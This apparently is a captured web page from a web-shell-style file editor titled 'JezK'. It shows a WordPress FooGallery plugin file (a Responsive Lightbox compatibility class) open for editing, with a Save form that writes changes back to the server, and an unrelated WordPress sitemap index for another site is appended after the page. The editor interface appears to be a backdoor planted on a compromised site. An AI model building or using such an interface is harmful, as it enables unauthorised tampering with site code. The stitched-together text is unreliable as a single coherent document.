
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-responsive-lightbox-dfactory-compatibility.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * Builds in support for the Responsive Lightbox plugin by dFactory
 * Created by brad.
 * Date: 13/05/2017
 *
 * @since 1.2.21
 */
if ( ! class_exists( &#039;FooGallery_Responsive_Lightbox_dFactory_Compatibility&#039; ) ) {

	class FooGallery_Responsive_Lightbox_dFactory_Compatibility {

		function __construct() {
			add_filter( &#039;foogallery_gallery_template_field_lightboxes&#039;, array( $this, &#039;add_lightbox&#039; ), 99 );
			add_filter( &#039;foogallery_attachment_html_link_attributes&#039;, array( $this, &#039;add_attributes&#039; ), 10, 3 );
		}

		/**
		 * Add the dFactory lightbox to the available FooGallery lightboxes
		 * @param $lightboxes
		 *
		 * @return mixed
		 * @since 1.2.21
		 */
		function add_lightbox($lightboxes) {
			if ( class_exists( &#039;Responsive_Lightbox&#039; ) ) {
				$option_text = __( &#039;Responsive Lightbox by dFactory&#039;, &#039;foogallery&#039; );
				$lightboxes[&#039;dfactory&#039;] = $option_text;
			}

			return $lightboxes;
		}

		/**
		 * If the dFactory lightbox is selected for the gallery, then make the integration work
		 *
		 * @param $attr
		 * @param $args
		 * @param $attachment
		 *
		 * @return mixed
		 * @since 1.2.21
		 */
		function add_attributes($attr, $args, $attachment) {
			if ( class_exists( &#039;Responsive_Lightbox&#039; ) ) {
				$lightbox = foogallery_gallery_template_setting( &#039;lightbox&#039;, &#039;unknown&#039; );

				//only add attributes if the dfactory lightbox is in use
				if ( &#039;dfactory&#039; === $lightbox ) {
					$attr[&#039;data-rel&#039;] = &#039;lightbox&#039;;

					if ( !empty( $attachment-&gt;caption ) ) {
						$attr[&#039;title&#039;] = $attachment-&gt;caption;
					}
				}
			}

    		return $attr;
		}
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
